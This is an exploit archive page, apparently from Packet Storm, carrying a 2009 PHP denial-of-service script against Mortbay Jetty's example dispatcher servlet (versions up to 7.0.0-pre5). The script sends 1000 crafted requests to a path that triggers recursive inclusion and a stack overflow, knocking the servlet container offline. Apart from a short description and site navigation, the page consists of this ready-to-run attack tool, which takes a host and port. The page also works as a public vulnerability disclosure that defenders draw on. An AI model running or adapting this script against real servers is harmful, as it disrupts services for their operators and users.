exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mortbay Jetty Denial Of Service

Mortbay Jetty Denial Of Service
Posted May 8, 2009
Authored by Luca Carettoni | Site ikkisoft.com

Mortbay Jetty versions 7.0.0-pre5 and below dispatcher servlet denial of service exploit.

tags | exploit, denial of service
SHA-256 | f66271be2229a03b1932399b1b0b4487d492f57519db5138a2bb1f932b5197b8

Mortbay Jetty Denial Of Service

Change Mirror Download
<?php
####################################################################################
# Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet DoS
#
# Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 (all platforms)
# Author: Ikki (http://blog.nibblesec.org/)
#
# Description:
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a
# malicious aggressor may abuse this functionality in order to cause a recursive
# inclusion. In detail, it is possible to abuse the method
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application
# to recursively include the "DispatchServlet".
# As a result, it is possible to trigger a "java.lang.StackOverflowError" and
# consequently an internal server error (500). Multiple requests may easily affect
# the availability of the entire servlet container.
####################################################################################

error_reporting(E_ALL&E_NOTICE);
echo("\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org ::\n");
echo(" :: Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 - all platforms :: \n\n");

if($argc==3){
$cont=0;
$reqNum=1000;
$req = "GET /dispatch/includeN/Dispatch HTTP/1.0\r\n";
$req .= "Host: ".$argv[1]."\r\n";
$req .= "\r\n";
while($cont<$reqNum){
$sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
if(!$sock){
echo "\nNo response from ".$argv[1];
die;
}
fwrite($sock,$req);
fclose($sock);
echo(".");
$cont++;
}
echo ("\n\nCheck your servlet container, after " . $reqNum . " requests:\n" . "http://" . $argv[1] . ":" . $argv[2] . "/");
}else{
echo("\nphp " . $argv[0] . " <host> <port>\n\n");
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close